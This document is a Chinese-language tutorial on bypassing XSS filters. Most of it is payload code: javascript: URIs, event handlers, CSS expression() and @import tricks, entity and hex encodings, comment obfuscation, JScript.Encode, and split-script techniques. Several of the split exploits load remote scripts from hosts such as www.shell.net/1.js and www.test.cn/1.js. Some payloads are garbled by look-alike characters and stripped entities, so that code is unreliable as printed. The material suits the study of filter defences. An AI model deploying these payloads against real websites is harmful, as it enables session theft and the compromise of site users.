绕过XSS-Filter
=======================利用<>标记注射Html/Javascript===========================
用户可以随心所欲地引入<>等标记,那么他就能操作一个HTML标签,然后通过<script>插入恶意脚本代码.
=========================利用HTML标签属性值执行XSS=========================
很多HTML标记中的属性都支持javascript:[code]伪协议的形式.
<table background="javascript:alert(/xss/)"></table>
<imgsrc="javascript:alert('xss');">
//并非所有浏览器都支持,支持的例IE6
可以使用以下属性来测试XSS:
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
并非所有嵌入到Web页面中的脚本都是JavaScript,还有其他允许值,例如Vbscript
=================================空格回车TAB===================================
如果XSS Filter仅仅把敏感的输入字符列入黑名单处理,用户可以利用空格、回车和Tab键绕过限制:
<img src="javas cript:alert(/xss/)" width=100>
javas和cript之间的间隔是由【Tab】添加的并非空格
利用关键字拆分的技巧,就能突破过滤器的限制,不局限在Tab,回车空格之类均可.
JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就会省略封号:
var a= true
var b="this is also true"
如果同一行中有多个语句,那么每个语句就必须使用分号来结束:
var a= true; var b="this is alsotrue";
用户可以构造下面的代码形式绕过系统对JavaScript等关键字的过滤:
<img src="javas
cript:
alert(/xss/)" width=100>
=============================对标签属性值转码==================================
对于普通HTML标记的属性进行过滤的可以通过编码处理来绕过,因为HTML中属性值本身支持ASCII码形式.
<imgsrc="javascript:alert('xss');">
替换成
<imgsrc="javascript:alert(/xss/);">
t的ascii值为116,用t表示 而:则用:
一样的道理,下面的XSS转码同样生效:
<img src=javascript:a
lert('xss')>
<img src=javascr�
105pt:alert('xss')>
或者:
<img src=1οnerrοr=vbs:msgbox+1> //vbs:
<imgοnlοad='vbs:execScript"alert(0)","javascript"'> //十六进制:j
还可以把、等字符插入到JavaScript或Vbscript的头部,
另外,Tab符的ASCII码为	、换行符的
、回车符的
可以插入到代码中任何地方.
如:<img src="javascript:alert(/a/)">
所以最好也过滤&#\等字符
==============================产生自己的事件================================
假设用户不能依靠属性值进行跨站,可以通过事件来解决.
JavaScript与HTML之间的交互是通过事件来实现的.事件就是用户或浏览器自身执行的某种动作,比如click、mouseover、load等,而响应时间的函数就叫做事件处理函数(或事件侦听器)
<input type="button"value="click me" οnclick="alert('click me')" />
单击click me的时候就会触发onclick事件执行JavaScript代码
事件能够说明用户何时做了某件事情或页面何时加载完毕,W3C将事件分为3个不同的类别:
用户接口(鼠标、键盘) 逻辑(处理的结果) 变化(对文档进行修改)
既然事件能让JavaScript代码运行,就意味着用户也能利用他执行跨站脚本,
如:<img src="#" οnerrοr=alert(/xss/)>
onerror是IMG标记的一个事件,只要页面中发生错误,该事件立即被激活.
当浏览器解释IMG标志的时候,会加载src属性引用的图片地址,不存在就会触发onerror事件.
测试事件形的跨站脚本,还有大量的事件可以利用:
onResume |
| onlayoutcomplete |
onReverse | onafterprint | |
onRowDelete | onbeforeprint | |
onRowInserted | ondataavailable | |
onSeek | ondatasetchanged | |
onSynchRestored | ondatasetcomplete | |
onTimeError | onerrorupdate | |
onTrackChange | onrowenter | |
onURLFlip | onrowexit | |
onRepeat | onrowsdelete | |
onMediaComplete | onrowsiinserted | |
onMediaError | onselectionchange | |
onPause | onbounce | |
onProgress | onfinish | |
onOutOfSync | onstop | |
oncontrolselect | onresizeend |
==================================利用CSS跨站==============================
XSS本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,但是CSS样式有一个很大的缺点,各浏览器之间不能通用,甚至同一浏览器不同版本之间都不能通用.
使用CSS直接执行JavaScript代码的示例如下:
<divstyle="background-image:url(javascript:alert('XSS'))">
<style>
body{background-image:url(javascript:alert('XSS')");}
</style>
IE5及其以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞.
<divstyle="width:expression(alert('XSS'));">
<img src="#"style="xss:expression(alert(/XSS/));">
<style>
body{background-image:expression:alert("XSS"));}
</style>
expression用来把CSS属性和JavaScript表达式关联起来.CSS属性可以是元素固有的属性,也可以是自定义属性,如果CSS属性后面为一段JavaScript表达式,则其值等于JavaScript表达式计算的结果.
可以发现脚本代码通常是嵌入到style标签/属性中的.如果应用程序禁用了style标签,用户还可以利用不分HTML标签的style属性执行代码.而且,style属性可以和任意字符的标签结合,所以不只要过滤标签,还必须对style属性值进行过滤.
<divstyle="list-style-image:url(javascript:alert('XSS'))">
<imgstyle="background-image:url(javascript:alert('XSS'))">
这些示例中都用到样式表中的URL属性来执行XSS,实际上最后一条代码等同于:
<imgsrc="javascript:alert('XSS')">
此外,CSS样式表不需要嵌入到HTML代码中,它能从其他文件甚至是从不同的目标机器上进行引用,比如,用户可以使用<link>标签引用CSS:
假设样式表文件地址为:http://127.0.0.1/attack.css,attack.css为攻击者上传的CSS文件,内容为:
p {
background-image:expression(alert("XSS"));
}
这时候,目标网站的XSS Exploit如下:
<link rel="stylesheet"href="http://127.0.0.1/attack.css">
使用这种方式执行跨站脚本很方便,而且不容易被察觉.
除了使用<link>标签外,在网页中引用外部CSS还可以利用@import将其导入,代码如下:
<style type='text/css'>@importurl(http://127.0.0.1/xss.css);</style>
其中,xss.css的内容是:
.showCSS{
event.expression(
οnlοad=function()
{
alert('XSS');
}
)
由此可见,使用@import和link方式都可以轻松地导入外部含有XSS代码的样式表文件.
@import还有一个特点,就是能直接执行JavaScript代码:
<style>
@import'javascript:alert("XSS")';
</style>
安全起见,包含expression、javascript、import等敏感字符的样式表也要进行过滤.
================================扰乱过滤规则==================================
利用前面所诉的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter的重重过滤.
一个正常的XSS输入 | <img src="javascript:alert(0);"> |
转换大小写后的XSS | <IMG SRC="javascript:alert(0);"> |
大小写混淆的XSS | <iMg sRc="jaVasCript:alert(0);"> |
不用双引号,而是使用单引号的XSS | <img src='javascript:alert(0);'> |
不使用引号的XSS | <img src=javascript:alert(0);> |
抛开正常的XSS测试用例,运行以上的任何一种示例都有可能绕过XSS Filter.
<img/src="mars.png"alt="mars">
<img/src="javascript:alert('XSS');"> //IE6成功
当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:
<XSS STYLE="xss:exprEssion(alert('XSS'))">
<div style="{ left:expression(alert('XSS' ) ) }">
样式表中的/**/会被浏览器忽略,因此可以利用/**/来注释字符,通过插入混淆字符绕过过滤
<XSSSTYLE="xss:expr/*XSS*/ession(alert('xss'))">
<divstyle="wid/***/th:expre/*XSS*/ssion(alert('XSS'));">
目前大多数过滤系统都采用黑名单式的过滤,可以结合使用注释字符干扰和欺骗过滤器,
测试用例如下:
<scriScriptpt>alert('XSS')</script>
<img src="java/*/*javascript*/script/*javascript*/*/script:alert();">
<imgsrc="java/*script:alert();"><imgsrc="javaa*/script:alert();">
<imgsrc="java/*exp/**/script:alert();*/ression(alert(1))">
<imgstyle="width:exp/*ression(alert());"src="java/*exp/**/script:alert();*/ression(alert(1))">
除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的
@\0im\port'\0ja\vasc\ript:alert("xss")';
@\i\0m\00p\000o\0000\00000r\000000t"url";
还可以将CSS中的关键字进行转码处理,如将e转换成\65,包括改变编码中0的数量
<pstyle="xss:\65xpression(alert(/XSS/))">
<pstyle="xss:\065xpression(alert(/XSS/))">
<p style="xss:\0065xpression(alert(/XSS/))">
各种Web浏览器存在差异,差异主要体现在对HTML的渲染,对JavaScript的解释以及对CSS的支持上,这些差异和细节都可能引起各种不同的XSS
<!--<img src="--><imgsrc=x οnerrοr=alert(1)//">
这个示例利用了浏览器解析HTML注释存在的问题来执行JavaScript
<comment><!--<imgsrc=</comment><img src=x οnerrοr=alert(1)//">
这个示例同样利用了浏览器解析HTML注释存在的问题来执行JavaScript,与前一个例子不同的是,该示例只支持IE系列的浏览器.
<style><imgsrc="</style><img src=x οnerrοr=alert(1)//">
这个示例利用了纯文本标签造成的标记混乱来躲避过滤器
由于Web浏览器种类、版本的不同,各自的HTML、CSS、JavaScript等引擎也存在着各式各样的差异,在加上各个站点采用了不同的XSS检测和防御策略,XSS构造技术可谓五花八门、包罗万象.
利用字符编码
<imgsrc="javascript:alert('XSS');">
属性值为javascript:alert('XSS');
十进制转码(&#)得到:
javascript:alert('XSS');
完整XSS Exploit为:
<imgsrc="javascript:alert('XSS');">
还可以在每个十进制字符后加上;,或者采用�、�、�、�、�、�、�、�等形式
<imgsrc="javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
类似地,也能采用十六进制编码形式:
<imgsrc="javascript:alert('XSS');">
<imgsrc=" javascript:alert('XSS');">
<imgsrc="javascript:alert('XSS');">
另外,在Javascript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码
<script>
eval("alert('xss')");
</script>
我们可以使用\连接十六进制字串符,然后使用eval()函数执行十六进制字符串形式的脚本,
如对alert('xss')进行十六进制转码后得到:
\61\6C\65\72\74\28\27\78\73\73\27\29
完整的XSS代码为:
<script>
eval("\x61\x6C\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>
eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函数使用.
string.fromcharcode()用于将字符转为ASCII值,例如一个正常形式的XSS示例为:
<imgsrc="javascript:eval(alert('xss'))">
结合使用eval()和String.fromCharCode()函数后变成:
<imgsrc="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
此外,样式表也支持分析和解释\连接的十六进制字符串形式,浏览器能正常解释:
<style>
BODY {backgroup:url(http://127.0.0.1/xss.gif) }
</style>
可以对background的属性值进行十六进制字符串形式转换:
<style>
BODY {backgroup:\75\72\6C\28\68\74\74\70\3A\2F\2F\31\32\37\2E\30\2E\30\2E\31\2F\78\73\73\2E\67\69\66\29}
</style>
style属性中的javascript、expression等字符一般都会被程序过滤,但进过十六进制编码后则可以逃避过滤.
下面是其他利用字符编码绕过过滤规则的示例:
<div style="xss: expression(alert(1));"></div>
<imgSTYLE="background-image: \75\72\6C\28\6A\61\76\61\73\63\72\69\70\74\3A\61\6C\65\72\74\28\27\58\53\53\27\29\29">
<DIVSTYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">
JavaScript支持unicode、escapes、十六进制、八进制等编码形式,这种编码技术如果运用到跨站攻击,无疑能大大加强XSS的威力
其他编码/加密技术:JScriptEncode和VBScript Encode.
Microsoft提供了脚本加密(ScriptEncoder)机制,可以对脚本进行加密,包括JScript和VBScript,
经过加密的脚本,能在IE下正常运行,在其他浏览器下则不识别.
如alert(1)使用JScriptEncode加密的结果为:
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经XSS Exploit后变成:
<scriptlanguage="JScript.Encode">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
</script>
同样,可以使用VBScript.Encode来执行类似任务:
<ahref=# language="JScript.Encode" οnclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a>
<iframeοnlοad=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
<iframeοnlοad=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@> //MsgBox 1
<iframeοnlοad=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
更为复杂的XSS转码如下:
<divstyle="\000000000000000000000078\000000000000000000000073s:e\xp/*jnv*/\0072\0065ssion(window.x?0:(alert(/xss/),window.x=1));"></div>
解密后为:<divstyle="xss:e\xp/*jnv*/ression(window.x?0:(alert(/xss/),window.x=1));"></div>
拆分跨站法
典型例子:剑心的《疯狂的跨站之行》
当应用程序没有过滤XSS关键字符(如<、>)却对输入字符长度有限制的情况下,使用"拆分法"执行跨站脚本代码.漏洞出现在评论的联系方式处,但是这处只能写入30个字符长度,必须的<script></script>就占用了17个字符,剩下的只有13个字符可以支配,如此一来只能弹框.
幸运的是,网站评论处可以重复留言,也就是说可以提交多个脚本标记,
于是构造出以下Exploit:
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+'src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
上诉代码作用是引入一个字符串变量z,并且将以下代码拆分开来:
document.write('<scriptsrc=//www.shell.net/1.js> </script>')
分多次将其嵌入到变量z中,最后通过eval(z)巧妙地执行代码
由此可见,拆分法跨站的核心是:把跨站代码拆分成几个片段,然后再使用某种方式将其拼凑在一起执行,这和缓冲区溢出的shellcode的利用方式有异曲同工之妙.
假设有个博客存在XSS漏洞,该XSS出现在标题处,并且对输入字符的长度有限制,此时可以使用拆分法连续发表4篇文章,分别如下所示:
标题一:<script>z='<scriptsrc=';\*
标题二:*/z+='http://www.test.c';/*
标题三:*/z+='n/1.js><\/script>';/*
标题四:*/document.write(z)</script>
程序经过处理后,最终页面返回结果如下:
<ahref="show.asp?id=6"><script>z='<scriptsrc=';\*</a>
......
<ahref="show.asp?id=5">*/z+='http://www.test.c';/* </a>
......
<ahref="show.asp?id=4">*/z+='n/1.js><\/script>';/* </a>
......
<ahref="show.asp?id=3">*/document.write(z)</script></a>
......
/**/在脚本标签中是注释的意思,所以/*和*/之内的字符会自动被忽略,以上代码最终转变成:
<script>z='<scriptsrc=';
z+='http://www.test.c';
z+='n/1.js><\/script>';
document.write(z)</script>
然后,依次赋值给z变量,得到:
<script>
z='<scriptsrc=http://www.test.cn/1.js><\/script>';
document.write(z)
</script>
于是<script></script>内的脚本代码得以顺利执行
某个著名邮箱系统曾经出现过一个XSS漏洞,但是,该系统过滤了许多触发XSS的敏感字符,包括CSS样式表中的内容,但是,由于它允许使用样式表的:
div{background-image:expression()
执行表达式,最终导致产生一个XSS漏洞
其XSS Exploit如下:
<fontcolor="ffffff">
<divid="jmp" style="display:none">nop</div>
<div id="ly"style="display:none"> //分段存储exp内容
function ok(){return true};
window.οnerrοr=ok
</div>
<divid="tip" title="<astyle="display:none">"style="display:none"></div>
<divid="tap" title="<"style="display:none"></div>
<divid="tep" title=">"style="display:none"></div> //以上div都是用来分段存储Exploit的内容
<style> //用div的title属性和innerHTML组成最终的Shellcode
div{background-image:expression(
javascript:1?document.write(
EC_tip.title+';top:'+EC_tap.title+'/a'+
EC_tep.title+EC_tap.title+'scriptid=nop'+
EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+
EC_tep.title+EC_tap.title+
'script src=http://localhost/1.js'+
EC_tep.title+EC_tap.title+'/script'+
EC_tep.title)
:1=1);
}
</style>
</font>
该系统允许定义DIV标签中的ID和TITLE的值,于是可以采用拆分XSS Shellcode的方法,
把跨站用到的关键字,例如<、>等写到DIV标签中,然后再把DIV中存储的内容取出并组合到一起.新城最终的Shellcode(注意:DIV的ID会从原来的test变成了ES_test)
在浏览器中查看邮件页面中的HTML代码,会看到最终成型后的Shellcode:
<astyle="display:none">top:</a>
<scriptid=nop>functionok(){return true};window.οnerrοr=ok</script>
<scriptsrc=http://localhost/1.js></script>